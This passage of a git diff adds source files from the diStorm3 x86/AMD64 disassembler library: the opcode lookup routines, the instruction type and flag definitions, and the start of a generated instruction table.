INST_MODRR_BASED)) { + ii = inst_vex_mod_lookup(ci, in, ii, index); + } + return ii; + } + + /* No VEXed instruction was found. */ + return NULL; +} + +_InstInfo* inst_lookup(_CodeInfo* ci, _PrefixState* ps) +{ + unsigned int tmpIndex0 = 0, tmpIndex1 = 0, tmpIndex2 = 0, rex = ps->vrex; + int instType = 0; + _InstNode in = 0; + _InstInfo* ii = NULL; + int isWaitIncluded = FALSE; + + /* See whether we have to handle a VEX prefixed instruction. */ + if (ps->decodedPrefixes & INST_PRE_VEX) { + ii = inst_vex_lookup(ci, ps); + if (ii != NULL) { + /* Make sure that VEX.L exists when forced. */ + if ((((_InstInfoEx*)ii)->flagsEx & INST_FORCE_VEXL) && (~ps->vrex & PREFIX_EX_L)) return NULL; + /* If the instruction doesn't use VEX.vvvv it must be zero. */ + if ((((_InstInfoEx*)ii)->flagsEx & INST_VEX_V_UNUSED) && ps->vexV) return NULL; + } + return ii; + } + + /* Read first byte. */ + ci->codeLen -= 1; + if (ci->codeLen < 0) return NULL; + tmpIndex0 = *ci->code; + + /* Check for special 0x9b, WAIT instruction, which can be part of some instructions(x87). */ + if (tmpIndex0 == INST_WAIT_INDEX) { + /* Only OCST_1dBYTES get a chance to include this byte as part of the opcode. */ + isWaitIncluded = TRUE; + + /* Ignore all prefixes, since they are useless and operate on the WAIT instruction itself. */ + prefixes_ignore_all(ps); + + /* Move to next code byte as a new whole instruction. */ + ci->code += 1; + ci->codeLen -= 1; + if (ci->codeLen < 0) return NULL; /* Faster to return NULL, it will be detected as WAIT later anyway. */ + /* Since we got a WAIT prefix, we re-read the first byte. */ + tmpIndex0 = *ci->code; + } + + /* Walk first byte in InstructionsTree root. */ + in = InstructionsTree[tmpIndex0]; + if (in == INT_NOTEXISTS) return NULL; + instType = INST_NODE_TYPE(in); + + /* Single byte instruction (OCST_1BYTE). */ + if ((instType < INT_INFOS) && (!isWaitIncluded)) { + /* Some single byte instructions need extra treatment. */ + switch (tmpIndex0) + { + case INST_ARPL_INDEX: + /* + * ARPL/MOVSXD share the same opcode, and both have different operands and mnemonics, of course. + * Practically, I couldn't come up with a comfortable way to merge the operands' types of ARPL/MOVSXD. + * And since the DB can't be patched dynamically, because the DB has to be multi-threaded compliant, + * I have no choice but to check for ARPL/MOVSXD right here - "right about now, the funk soul brother, check it out now, the funk soul brother...", fatboy slim + */ + if (ci->dt == Decode64Bits) { + return &II_MOVSXD; + } /* else ARPL will be returned because its defined in the DB already. */ + break; + + case INST_NOP_INDEX: /* Nopnopnop */ + /* Check for Pause, since it's prefixed with 0xf3, which is not a real mandatory prefix. */ + if (ps->decodedPrefixes & INST_PRE_REP) { + /* Flag this prefix as used. */ + ps->usedPrefixes |= INST_PRE_REP; + return &II_PAUSE; + } + + /* + * Treat NOP/XCHG specially. + * If we're not in 64bits restore XCHG to NOP, since in the DB it's XCHG. + * Else if we're in 64bits examine REX, if exists, and decide which instruction should go to output. + * 48 90 XCHG RAX, RAX is a true NOP (eat REX in this case because it's valid). + * 90 XCHG EAX, EAX is a true NOP (and not high dword of RAX = 0 although it should be a 32 bits operation). + * Note that if the REX.B is used, then the register is not RAX anymore but R8, which means it's not a NOP. + */ + if (rex & PREFIX_EX_W) ps->usedPrefixes |= INST_PRE_REX; + if ((ci->dt != Decode64Bits) || (~rex & PREFIX_EX_B)) return &II_NOP; + break; + + case INST_LEA_INDEX: + /* Ignore segment override prefixes for LEA instruction. */ + ps->decodedPrefixes &= ~INST_PRE_SEGOVRD_MASK; + /* Update unused mask for ignoring segment prefix. */ + prefixes_ignore(ps, PFXIDX_SEG); + break; + } + + /* Return the 1 byte instruction we found. */ + return instType == INT_INFO ? &InstInfos[INST_NODE_INDEX(in)] : (_InstInfo*)&InstInfosEx[INST_NODE_INDEX(in)]; + } + + /* Read second byte, still doesn't mean all of its bits are used (I.E: ModRM). */ + ci->code += 1; + ci->codeLen -= 1; + if (ci->codeLen < 0) return NULL; + tmpIndex1 = *ci->code; + + /* Try single byte instruction + reg bits (OCST_13BYTES). */ + if ((instType == INT_LIST_GROUP) && (!isWaitIncluded)) return inst_get_info(in, (tmpIndex1 >> 3) & 7); + + /* Try single byte instruction + reg byte OR one whole byte (OCST_1dBYTES). */ + if (instType == INT_LIST_DIVIDED) { + + /* Checking for inst by REG bits is higher priority if it's found not to be divided instruction. */ + { + _InstNode in2 = InstructionsTree[INST_NODE_INDEX(in) + ((tmpIndex1 >> 3) & 7)]; + /* + * Do NOT check for NULL here, since we do a bit of a guess work, + * hence we don't override 'in', cause we might still need it. + */ + instType = INST_NODE_TYPE(in2); + + if (instType == INT_INFO) ii = &InstInfos[INST_NODE_INDEX(in2)]; + else if (instType == INT_INFOEX) ii = (_InstInfo*)&InstInfosEx[INST_NODE_INDEX(in2)]; + if ((ii != NULL) && (INST_INFO_FLAGS(ii) & INST_NOT_DIVIDED)) return ii; + /* ii is reset below. */ + } + + /* Continue normally because of wait prefix. */ + if (tmpIndex1 < INST_DIVIDED_MODRM) { + /* An instruction which requires a ModR/M byte. Thus it's 1.3 bytes long instruction. */ + tmpIndex1 = (tmpIndex1 >> 3) & 7; /* Isolate the 3 REG/OPCODE bits. */ + } else { /* Normal 2 bytes instruction. */ + /* + * Divided instructions can't be in the range of 0x8-0xc0. + * That's because 0-8 are used for 3 bits group. + * And 0xc0-0xff are used for not-divided instruction. + * So the in between range is omitted, thus saving some more place in the tables. + */ + tmpIndex1 -= INST_DIVIDED_MODRM - 8; + } + + in = InstructionsTree[INST_NODE_INDEX(in) + tmpIndex1]; + if (in == INT_NOTEXISTS) return NULL; + instType = INST_NODE_TYPE(in); + + if (instType < INT_INFOS) { + /* If the instruction doesn't support the wait (marked as opsize) as part of the opcode, it's illegal. */ + ii = instType == INT_INFO ? &InstInfos[INST_NODE_INDEX(in)] : (_InstInfo*)&InstInfosEx[INST_NODE_INDEX(in)]; + if ((~INST_INFO_FLAGS(ii) & INST_PRE_OP_SIZE) && (isWaitIncluded)) return NULL; + return ii; + } + /* + * If we got here the instruction can support the wait prefix, so see if it was part of the stream. + * Examine prefixed table, specially used for 0x9b, since it's optional. + * No Wait: index = 0. + * Wait Exists, index = 1. + */ + return inst_get_info(in, isWaitIncluded); + } + + /* Don't allow to continue if WAIT is part of the opcode, because there are no instructions that include it. */ + if (isWaitIncluded) return NULL; + + /* Try 2 bytes long instruction (doesn't include ModRM byte). */ + if (instType == INT_LIST_FULL) { + in = InstructionsTree[INST_NODE_INDEX(in) + tmpIndex1]; + if (in == INT_NOTEXISTS) return NULL; + instType = INST_NODE_TYPE(in); + + /* This is where we check if we just read two escape bytes in a row, which means it is a 3DNow! instruction. */ + if ((tmpIndex0 == _3DNOW_ESCAPE_BYTE) && (tmpIndex1 == _3DNOW_ESCAPE_BYTE)) return &II_3DNOW; + + /* 2 bytes instruction (OCST_2BYTES). */ + if (instType < INT_INFOS) + return instType == INT_INFO ? &InstInfos[INST_NODE_INDEX(in)] : (_InstInfo*)&InstInfosEx[INST_NODE_INDEX(in)]; + + /* + * 2 bytes + mandatory prefix. + * Mandatory prefixes can be anywhere in the prefixes. + * There cannot be more than one mandatory prefix, unless it's a normal operand size prefix. + */ + if (instType == INT_LIST_PREFIXED) return inst_lookup_prefixed(in, ps); + } + + /* Read third byte, still doesn't mean all of its bits are used (I.E: ModRM). */ + ci->code += 1; + ci->codeLen -= 1; + if (ci->codeLen < 0) return NULL; + tmpIndex2 = *ci->code; + + /* Try 2 bytes + reg instruction (OCST_23BYTES). */ + if (instType == INT_LIST_GROUP) { + in = InstructionsTree[INST_NODE_INDEX(in) + ((tmpIndex2 >> 3) & 7)]; + if (in == INT_NOTEXISTS) return NULL; + instType = INST_NODE_TYPE(in); + + if (instType < INT_INFOS) + return instType == INT_INFO ? &InstInfos[INST_NODE_INDEX(in)] : (_InstInfo*)&InstInfosEx[INST_NODE_INDEX(in)]; + + /* It has to be a prefixed table then. */ + ii = inst_lookup_prefixed(in, ps); + /* RDRAND and VMPTRLD share same 2.3 bytes opcode, and alternate on the MOD bits. See insts.h for more info. */ + if ((ii != NULL) && (ii->opcodeId == I_VMPTRLD) && (tmpIndex1 >= INST_DIVIDED_MODRM)) return &II_RDRAND; + return ii; + } + + /* Try 2 bytes + divided range (OCST_2dBYTES). */ + if (instType == INT_LIST_DIVIDED) { + _InstNode in2 = InstructionsTree[INST_NODE_INDEX(in) + ((tmpIndex2 >> 3) & 7)]; + /* + * Do NOT check for NULL here, since we do a bit of a guess work, + * hence we don't override 'in', cause we might still need it. + */ + instType = INST_NODE_TYPE(in2); + + if (instType == INT_INFO) ii = &InstInfos[INST_NODE_INDEX(in2)]; + else if (instType == INT_INFOEX) ii = (_InstInfo*)&InstInfosEx[INST_NODE_INDEX(in2)]; + + /* + * OCST_2dBYTES is complex, because there are a few instructions which are not divided in some special cases. + * If the instruction wasn't divided (but still it must be a 2.3 because we are in divided category) + * or it was an official 2.3 (because its index was less than 0xc0) - + * Then it means the instruction should be using the REG bits, otherwise give a chance to range 0xc0-0xff. + */ + /* If we found an instruction only by its REG bits, AND it is not divided, then return it. */ + if ((ii != NULL) && (INST_INFO_FLAGS(ii) & INST_NOT_DIVIDED)) return ii; + /* Otherwise, if the range is above 0xc0, try the special divided range (range 0x8-0xc0 is omitted). */ + if (tmpIndex2 >= INST_DIVIDED_MODRM) return inst_get_info(in, tmpIndex2 - INST_DIVIDED_MODRM + 8); + + /* It might be that we got here without touching ii in the above if statements, then it becomes an invalid instruction prolly. */ + return ii; + } + + /* Try 3 full bytes (OCST_3BYTES - no ModRM byte). */ + if (instType == INT_LIST_FULL) { + /* OCST_3BYTES. */ + in = InstructionsTree[INST_NODE_INDEX(in) + tmpIndex2]; + if (in == INT_NOTEXISTS) return NULL; + instType = INST_NODE_TYPE(in); + + if (instType < INT_INFOS) + return instType == INT_INFO ? &InstInfos[INST_NODE_INDEX(in)] : (_InstInfo*)&InstInfosEx[INST_NODE_INDEX(in)]; + + if (instType == INT_LIST_PREFIXED) return inst_lookup_prefixed(in, ps); + } + + /* Kahtchinggg, damn. */ + return NULL; +} + +/* +* 3DNow! instruction handling: + +* This is used when we encounter a 3DNow! instruction. +* We can't really locate a 3DNow! instruction before we see two escaped bytes, +* 0x0f, 0x0f. Then we have to extract operands which are, dest=mmx register, src=mmx register or quadword indirection. +* When we are finished with the extraction of operands we can resume to locate the instruction by reading another byte +* which tells us which 3DNow instruction we really tracked down... +* So in order to tell the extract operands function which operands the 3DNow! instruction require, we need to set up some +* generic instruction info for 3DNow! instructions. + +* In the inst_lookup itself, when we read an OCST_3BYTES which the two first bytes are 0x0f and 0x0f. +* we will return this special generic II for the specific operands we are interested in (MM, MM64). +* Then after extracting the operand, we'll call a completion routine for locating the instruction +* which will be called only for 3DNow! instructions, distinguished by a flag, and it will read the last byte of the 3 bytes. +* +* The id of this opcode should not be used, the following function should change it anyway. +*/ +_InstInfo* inst_lookup_3dnow(_CodeInfo* ci) +{ + /* Start off from the two escape bytes gates... which is 3DNow! table.*/ + _InstNode in = Table_0F_0F; + + int index; + + /* Make sure we can read a byte off the stream. */ + if (ci->codeLen < 1) return NULL; + + index = *ci->code; + + ci->codeLen -= 1; + ci->code += 1; + return inst_get_info(in, index); +} diff --git a/source/distorm/instructions.h b/source/distorm/instructions.h new file mode 100644 index 0000000..b8d8a64 --- /dev/null +++ b/source/distorm/instructions.h @@ -0,0 +1,463 @@ +/* +instructions.h + +diStorm3 - Powerful disassembler for X86/AMD64 +http://ragestorm.net/distorm/ +distorm at gmail dot com +Copyright (C) 2003-2016 Gil Dabah +This library is licensed under the BSD license. See the file COPYING. +*/ + + +#ifndef INSTRUCTIONS_H +#define INSTRUCTIONS_H + +#include "config.h" +#include "prefix.h" + + +/* + * Operand type possibilities: + * Note "_FULL" suffix indicates to decode the operand as 16 bits or 32 bits depends on DecodeType - + * actually, it depends on the decoding mode, unless there's an operand/address size prefix. + * For example, the code: 33 c0 could be decoded/executed as XOR AX, AX or XOR EAX, EAX. + */ +typedef enum OpType { + /* No operand is set */ + OT_NONE = 0, + + /* Read a byte(8 bits) immediate */ + OT_IMM8, + /* Force a read of a word(16 bits) immediate, used by ret only */ + OT_IMM16, + /* Read a word/dword immediate */ + OT_IMM_FULL, + /* Read a double-word(32 bits) immediate */ + OT_IMM32, + + /* Read a signed extended byte(8 bits) immediate */ + OT_SEIMM8, + + /* + * Special immediates for instructions which have more than one immediate, + * which is an exception from standard instruction format. + * As to version v1.0: ENTER, INSERTQ, EXTRQ are the only problematic ones. + */ + /* 16 bits immediate using the first imm-slot */ + OT_IMM16_1, + /* 8 bits immediate using the first imm-slot */ + OT_IMM8_1, + /* 8 bits immediate using the second imm-slot */ + OT_IMM8_2, + + /* Use a 8bit register */ + OT_REG8, + /* Use a 16bit register */ + OT_REG16, + /* Use a 16/32/64bit register */ + OT_REG_FULL, + /* Use a 32bit register */ + OT_REG32, + /* + * If used with REX the reg operand size becomes 64 bits, otherwise 32 bits. + * VMX instructions are promoted automatically without a REX prefix. + */ + OT_REG32_64, + /* Used only by MOV CR/DR(n). Promoted with REX onlly. */ + OT_FREG32_64_RM, + + /* Use or read (indirection) a 8bit register or immediate byte */ + OT_RM8, + /* Some instructions force 16 bits (mov sreg, rm16) */ + OT_RM16, + /* Use or read a 16/32/64bit register or immediate word/dword/qword */ + OT_RM_FULL, + /* + * 32 or 64 bits (with REX) operand size indirection memory operand. + * Some instructions are promoted automatically without a REX prefix. + */ + OT_RM32_64, + /* 16 or 32 bits RM. This is used only with MOVZXD instruction in 64bits. */ + OT_RM16_32, + /* Same as OT_RMXX but POINTS to 16 bits [cannot use GENERAL-PURPOSE REG!] */ + OT_FPUM16, + /* Same as OT_RMXX but POINTS to 32 bits (single precision) [cannot use GENERAL-PURPOSE REG!] */ + OT_FPUM32, + /* Same as OT_RMXX but POINTS to 64 bits (double precision) [cannot use GENERAL-PURPOSE REG!] */ + OT_FPUM64, + /* Same as OT_RMXX but POINTS to 80 bits (extended precision) [cannot use GENERAL-PURPOSE REG!] */ + OT_FPUM80, + + /* + * Special operand type for SSE4 where the ModR/M might + * be a 32 bits register or 8 bits memory indirection operand. + */ + OT_R32_M8, + /* + * Special ModR/M for PINSRW, which need a 16 bits memory operand or 32 bits register. + * In 16 bits decoding mode R32 becomes R16, operand size cannot affect this. + */ + OT_R32_M16, + /* + * Special type for SSE4, ModR/M might be a 32 bits or 64 bits (with REX) register or + * a 8 bits memory indirection operand. + */ + OT_R32_64_M8, + /* + * Special type for SSE4, ModR/M might be a 32 bits or 64 bits (with REX) register or + * a 16 bits memory indirection operand. + */ + OT_R32_64_M16, + /* + * Special operand type for MOV reg16/32/64/mem16, segReg 8C /r. and SMSW. + * It supports all decoding modes, but if used as a memory indirection it's a 16 bit ModR/M indirection. + */ + OT_RFULL_M16, + + /* Use a control register */ + OT_CREG, + /* Use a debug register */ + OT_DREG, + /* Use a segment register */ + OT_SREG, + /* + * SEG is encoded in the flags of the opcode itself! + * This is used for specific "push SS" where SS is a segment where + * each "push SS" has an absolutely different opcode byte. + * We need this to detect whether an operand size prefix is used. + */ + OT_SEG, + + /* Use AL */ + OT_ACC8, + /* Use AX (FSTSW) */ + OT_ACC16, + /* Use AX/EAX/RAX */ + OT_ACC_FULL, + /* Use AX/EAX, no REX is possible for RAX, used only with IN/OUT which don't support 64 bit registers */ + OT_ACC_FULL_NOT64, + + /* + * Read one word (seg), and a word/dword/qword (depends on operand size) from memory. + * JMP FAR [EBX] means EBX point to 16:32 ptr. + */ + OT_MEM16_FULL, + /* Read one word (seg) and a word/dword/qword (depends on operand size), usually SEG:OFF, JMP 1234:1234 */ + OT_PTR16_FULL, + /* Read one word (limit) and a dword/qword (limit) (depends on operand size), used by SGDT, SIDT, LGDT, LIDT. */ + OT_MEM16_3264, + + /* Read a byte(8 bits) immediate and calculate it relatively to the current offset of the instruction being decoded */ + OT_RELCB, + /* Read a word/dword immediate and calculate it relatively to the current offset of the instruction being decoded */ + OT_RELC_FULL, + + /* Use general memory indirection, with varying sizes: */ + OT_MEM, + /* Used when a memory indirection is required, but if the mod field is 11, this operand will be ignored. */ + OT_MEM_OPT, + OT_MEM32, + /* Memory dereference for MOVNTI, either 32 or 64 bits (with REX). */ + OT_MEM32_64, + OT_MEM64, + OT_MEM128, + /* Used for cmpxchg8b/16b. */ + OT_MEM64_128, + + /* Read an immediate as an absolute address, size is known by instruction, used by MOV (memory offset) only */ + OT_MOFFS8, + OT_MOFFS_FULL, + /* Use an immediate of 1, as for SHR R/M, 1 */ + OT_CONST1, + /* Use CL, as for SHR R/M, CL */ + OT_REGCL, + + /* + * Instruction-Block for one byte long instructions, used by INC/DEC/PUSH/POP/XCHG, + * REG is extracted from the value of opcode + * Use a 8bit register + */ + OT_IB_RB, + /* Use a 16/32/64bit register */ + OT_IB_R_FULL, + + /* Use [(r)SI] as INDIRECTION, for repeatable instructions */ + OT_REGI_ESI, + /* Use [(r)DI] as INDIRECTION, for repeatable instructions */ + OT_REGI_EDI, + /* Use [(r)BX + AL] as INDIRECTIOM, used by XLAT only */ + OT_REGI_EBXAL, + /* Use [(r)AX] as INDIRECTION, used by AMD's SVM instructions */ + OT_REGI_EAX, + /* Use DX, as for OUTS DX, BYTE [SI] */ + OT_REGDX, + /* Use ECX in INVLPGA instruction */ + OT_REGECX, + + /* FPU registers: */ + OT_FPU_SI, /* ST(i) */ + OT_FPU_SSI, /* ST(0), ST(i) */ + OT_FPU_SIS, /* ST(i), ST(0) */ + + /* MMX registers: */ + OT_MM, + /* Extract the MMX register from the RM bits this time (used when the REG bits are used for opcode extension) */ + OT_MM_RM, + /* ModR/M points to 32 bits MMX variable */ + OT_MM32, + /* ModR/M points to 32 bits MMX variable */ + OT_MM64, + + /* SSE registers: */ + OT_XMM, + /* Extract the SSE register from the RM bits this time (used when the REG bits are used for opcode extension) */ + OT_XMM_RM, + /* ModR/M points to 16 bits SSE variable */ + OT_XMM16, + /* ModR/M points to 32 bits SSE variable */ + OT_XMM32, + /* ModR/M points to 64 bits SSE variable */ + OT_XMM64, + /* ModR/M points to 128 bits SSE variable */ + OT_XMM128, + /* Implied XMM0 register as operand, used in SSE4. */ + OT_REGXMM0, + + /* AVX operands: */ + + /* ModR/M for 32 bits. */ + OT_RM32, + /* Reg32/Reg64 (prefix width) or Mem8. */ + OT_REG32_64_M8, + /* Reg32/Reg64 (prefix width) or Mem16. */ + OT_REG32_64_M16, + /* Reg32/Reg 64 depends on prefix width only. */ + OT_WREG32_64, + /* RM32/RM64 depends on prefix width only. */ + OT_WRM32_64, + /* XMM or Mem32/Mem64 depends on perfix width only. */ + OT_WXMM32_64, + /* XMM is encoded in VEX.VVVV. */ + OT_VXMM, + /* XMM is encoded in the high nibble of an immediate byte. */ + OT_XMM_IMM, + /* YMM/XMM is dependent on VEX.L. */ + OT_YXMM, + /* YMM/XMM (depends on prefix length) is encoded in the high nibble of an immediate byte. */ + OT_YXMM_IMM, + /* YMM is encoded in reg. */ + OT_YMM, + /* YMM or Mem256. */ + OT_YMM256, + /* YMM is encoded in VEX.VVVV. */ + OT_VYMM, + /* YMM/XMM is dependent on VEX.L, and encoded in VEX.VVVV. */ + OT_VYXMM, + /* YMM/XMM or Mem64/Mem256 is dependent on VEX.L. */ + OT_YXMM64_256, + /* YMM/XMM or Mem128/Mem256 is dependent on VEX.L. */ + OT_YXMM128_256, + /* XMM or Mem64/Mem256 is dependent on VEX.L. */ + OT_LXMM64_128, + /* Mem128/Mem256 is dependent on VEX.L. */ + OT_LMEM128_256 +} _OpType; + +/* Flags for instruction: */ + +/* Empty flags indicator: */ +#define INST_FLAGS_NONE (0) +/* The instruction we are going to decode requires ModR/M encoding. */ +#define INST_MODRM_REQUIRED (1) +/* Special treatment for instructions which are in the divided-category but still needs the whole byte for ModR/M... */ +#define INST_NOT_DIVIDED (1 << 1) +/* + * Used explicitly in repeatable instructions, + * which needs a suffix letter in their mnemonic to specify operation-size (depend on operands). + */ +#define INST_16BITS (1 << 2) +/* If the opcode is supported by 80286 and upper models (16/32 bits). */ +#define INST_32BITS (1 << 3) +/* + * Prefix flags (6 types: lock/rep, seg override, addr-size, oper-size, REX, VEX) + * There are several specific instructions that can follow LOCK prefix, + * note that they must be using a memory operand form, otherwise they generate an exception. + */ +#define INST_PRE_LOCK (1 << 4) +/* REPNZ prefix for string instructions only - means an instruction can follow it. */ +#define INST_PRE_REPNZ (1 << 5) +/* REP prefix for string instructions only - means an instruction can follow it. */ +#define INST_PRE_REP (1 << 6) +/* CS override prefix. */ +#define INST_PRE_CS (1 << 7) +/* SS override prefix. */ +#define INST_PRE_SS (1 << 8) +/* DS override prefix. */ +#define INST_PRE_DS (1 << 9) +/* ES override prefix. */ +#define INST_PRE_ES (1 << 10) +/* FS override prefix. Funky Segment :) */ +#define INST_PRE_FS (1 << 11) +/* GS override prefix. Groovy Segment, of course not, duh ! */ +#define INST_PRE_GS (1 << 12) +/* Switch operand size from 32 to 16 and vice versa. */ +#define INST_PRE_OP_SIZE (1 << 13) +/* Switch address size from 32 to 16 and vice versa. */ +#define INST_PRE_ADDR_SIZE (1 << 14) +/* Native instructions which needs suffix letter to indicate their operation-size (and don't depend on operands). */ +#define INST_NATIVE (1 << 15) +/* Use extended mnemonic, means it's an _InstInfoEx structure, which contains another mnemonic for 32 bits specifically. */ +#define INST_USE_EXMNEMONIC (1 << 16) +/* Use third operand, means it's an _InstInfoEx structure, which contains another operand for special instructions. */ +#define INST_USE_OP3 (1 << 17) +/* Use fourth operand, means it's an _InstInfoEx structure, which contains another operand for special instructions. */ +#define INST_USE_OP4 (1 << 18) +/* The instruction's mnemonic depends on the mod value of the ModR/M byte (mod=11, mod!=11). */ +#define INST_MNEMONIC_MODRM_BASED (1 << 19) +/* The instruction uses a ModR/M byte which the MOD must be 11 (for registers operands only). */ +#define INST_MODRR_REQUIRED (1 << 20) +/* The way of 3DNow! instructions are built, we have to handle their locating specially. Suffix imm8 tells which instruction it is. */ +#define INST_3DNOW_FETCH (1 << 21) +/* The instruction needs two suffixes, one for the comparison type (imm8) and the second for its operation size indication (second mnemonic). */ +#define INST_PSEUDO_OPCODE (1 << 22) +/* Invalid instruction at 64 bits decoding mode. */ +#define INST_INVALID_64BITS (1 << 23) +/* Specific instruction can be promoted to 64 bits (without REX, it is promoted automatically). */ +#define INST_64BITS (1 << 24) +/* Indicates the instruction must be REX prefixed in order to use 64 bits operands. */ +#define INST_PRE_REX (1 << 25) +/* Third mnemonic is set. */ +#define INST_USE_EXMNEMONIC2 (1 << 26) +/* Instruction is only valid in 64 bits decoding mode. */ +#define INST_64BITS_FETCH (1 << 27) +/* Forces that the ModRM-REG/Opcode field will be 0. (For EXTRQ). */ +#define INST_FORCE_REG0 (1 << 28) +/* Indicates that instruction is encoded with a VEX prefix. */ +#define INST_PRE_VEX (1 << 29) +/* Indicates that the instruction is encoded with a ModRM byte (REG field specifically). */ +#define INST_MODRM_INCLUDED (1 << 30) +/* Indicates that the first (/destination) operand of the instruction is writable. */ +#define INST_DST_WR (1 << 31) + +#define INST_PRE_REPS (INST_PRE_REPNZ | INST_PRE_REP) +#define INST_PRE_LOKREP_MASK (INST_PRE_LOCK | INST_PRE_REPNZ | INST_PRE_REP) +#define INST_PRE_SEGOVRD_MASK32 (INST_PRE_CS | INST_PRE_SS | INST_PRE_DS | INST_PRE_ES) +#define INST_PRE_SEGOVRD_MASK64 (INST_PRE_FS | INST_PRE_GS) +#define INST_PRE_SEGOVRD_MASK (INST_PRE_SEGOVRD_MASK32 | INST_PRE_SEGOVRD_MASK64) + +/* Extended flags for VEX: */ +/* Indicates that the instruction might have VEX.L encoded. */ +#define INST_VEX_L (1) +/* Indicates that the instruction might have VEX.W encoded. */ +#define INST_VEX_W (1 << 1) +/* Indicates that the mnemonic of the instruction is based on the VEX.W bit. */ +#define INST_MNEMONIC_VEXW_BASED (1 << 2) +/* Indicates that the mnemonic of the instruction is based on the VEX.L bit. */ +#define INST_MNEMONIC_VEXL_BASED (1 << 3) +/* Forces the instruction to be encoded with VEX.L, otherwise it's undefined. */ +#define INST_FORCE_VEXL (1 << 4) +/* + * Indicates that the instruction is based on the MOD field of the ModRM byte. + * (MOD==11: got the right instruction, else skip +4 in prefixed table for the correct instruction). + */ +#define INST_MODRR_BASED (1 << 5) +/* Indicates that the instruction doesn't use the VVVV field of the VEX prefix, if it does then it's undecodable. */ +#define INST_VEX_V_UNUSED (1 << 6) + +/* Indication that the instruction is privileged (Ring 0), this should be checked on the opcodeId field. */ +#define OPCODE_ID_PRIVILEGED ((uint16_t)0x8000) + +/* + * Indicates which operand is being decoded. + * Destination (1st), Source (2nd), op3 (3rd), op4 (4th). + * Used to set the operands' fields in the _DInst structure! + */ +typedef enum {ONT_NONE = -1, ONT_1 = 0, ONT_2 = 1, ONT_3 = 2, ONT_4 = 3} _OperandNumberType; + +/* CPU Flags that instructions modify, test or undefine, in compacted form (CF,PF,AF,ZF,SF are 1:1 map to EFLAGS). */ +#define D_COMPACT_CF 1 /* Carry */ +#define D_COMPACT_PF 4 /* Parity */ +#define D_COMPACT_AF 0x10 /* Auxiliary */ +#define D_COMPACT_ZF 0x40 /* Zero */ +#define D_COMPACT_SF 0x80 /* Sign */ +/* The following flags have to be translated to EFLAGS. */ +#define D_COMPACT_IF 2 /* Interrupt */ +#define D_COMPACT_DF 8 /* Direction */ +#define D_COMPACT_OF 0x20 /* Overflow */ + +/* The mask of flags that are already compatible with EFLAGS. */ +#define D_COMPACT_SAME_FLAGS (D_COMPACT_CF | D_COMPACT_PF | D_COMPACT_AF | D_COMPACT_ZF | D_COMPACT_SF) + +/* + * In order to save more space for storing the DB statically, + * I came up with another level of shared info. + * Because I saw that most of the information that instructions use repeats itself. + * + * Info about the instruction, source/dest types, meta and flags. + * _InstInfo points to a table of _InstSharedInfo. + */ +typedef struct { + uint8_t flagsIndex; /* An index into FlagsTables */ + uint8_t s, d; /* OpType. */ + uint8_t meta; /* Hi 5 bits = Instruction set class | Lo 3 bits = flow control flags. */ + /* + * The following are CPU flag masks that the instruction changes. + * The flags are compacted so 8 bits representation is enough. + * They will be expanded in runtime to be compatible to EFLAGS. + */ + uint8_t modifiedFlagsMask; + uint8_t testedFlagsMask; + uint8_t undefinedFlagsMask; +} _InstSharedInfo; + +/* + * This structure is used for the instructions DB and NOT for the disassembled result code! + * This is the BASE structure, there are extensions to this structure below. + */ +typedef struct { + uint16_t sharedIndex; /* An index into the SharedInfoTable. */ + uint16_t opcodeId; /* The opcodeId is really a byte-offset into the mnemonics table. MSB is a privileged indication. */ +} _InstInfo; + +/* + * There are merely few instructions which need a second mnemonic for 32 bits. + * Or a third for 64 bits. Therefore sometimes the second mnemonic is empty but not the third. + * In all decoding modes the first mnemonic is the default. + * A flag will indicate it uses another mnemonic. + * + * There are a couple of (SSE4) instructions in the whole DB which need both op3 and 3rd mnemonic for 64bits, + * therefore, I decided to make the extended structure contain all extra info in the same structure. + * There are a few instructions (SHLD/SHRD/IMUL and SSE too) which use third operand (or a fourth). + * A flag will indicate it uses a third/fourth operand. + */ +typedef struct { + /* Base structure (doesn't get accessed directly from code). */ + _InstInfo BASE; + + /* Extended starts here. */ + uint8_t flagsEx; /* 8 bits are enough, in the future we might make it a bigger integer. */ + uint8_t op3, op4; /* OpType. */ + uint16_t opcodeId2, opcodeId3; +} _InstInfoEx; + +/* Trie data structure node type: */ +typedef enum { + INT_NOTEXISTS = 0, /* Not exists. */ + INT_INFO = 1, /* It's an instruction info. */ + INT_INFOEX, + INT_LIST_GROUP, + INT_LIST_FULL, + INT_LIST_DIVIDED, + INT_LIST_PREFIXED +} _InstNodeType; + +/* Used to check instType < INT_INFOS, means we got an inst-info. Cause it has to be only one of them. */ +#define INT_INFOS (INT_LIST_GROUP) + +/* Instruction node is treated as { int index:13; int type:3; } */ +typedef uint16_t _InstNode; + +_InstInfo* inst_lookup(_CodeInfo* ci, _PrefixState* ps); +_InstInfo* inst_lookup_3dnow(_CodeInfo* ci); + +#endif /* INSTRUCTIONS_H */ diff --git a/source/distorm/insts.c b/source/distorm/insts.c new file mode 100644 index 0000000..a081a2d --- /dev/null +++ b/source/distorm/insts.c @@ -0,0 +1,7939 @@ +/* +insts.c + +diStorm3 - Powerful disassembler for X86/AMD64 +http://ragestorm.net/distorm/ +distorm at gmail dot com +Copyright (C) 2003-2016 Gil Dabah +This library is licensed under the BSD license. See the file COPYING. +*/ + + +#include "config.h" +#include "insts.h" +#include "instructions.h" + + +/* +* GENERATED BY disOps at Sun Jul 09 21:22:14 2017 +*/ + +_InstInfo II_MOVSXD = /*II*/{ 0x1d3, 10027 }; +_InstInfo II_NOP = /*II*/{ 0x53, 581 }; +_InstInfo II_PAUSE = /*II*/{ 0x88, 10035 }; +_InstInfo II_WAIT = /*II*/{ 0x53, 10042 }; +_InstInfo II_RDRAND = /*II*/{ 0x1d4, 10048 }; +_InstInfo II_3DNOW = /*II*/{ 0x1d5, 10056 }; + +_iflags FlagsTable[101] = { + 0x80000011, + 0x80000000, + 0x800400, + 0x80800400, + 0x800080, + 0x800100, + 0x80800100, + 0x800200, + 0x80800200, + 0x800000, + 0x1, + 0x0, + 0x80800000, + 0x1000000, + 0x81000000, + 0x808000, + 0x800001, + 0x80020001, + 0x1002000, + 0x60, + 0x64, + 0x80000001, + 0x4010000, + 0x1008000, + 0x80000060, + 0x83000064, + 0x3000064, + 0x83000000, + 0x3008000, + 0x200, + 0xc000, + 0x4014000, + 0x8, + 0x81000009, + 0x9, + 0x80000009, + 0x1000808, + 0x81000808, + 0x80020009, + 0x1001008, + 0x81001008, + 0x80000019, + 0x3000009, + 0x83000009, + 0x83000008, + 0xc0000011, + 0x40000001, + 0xc0800011, 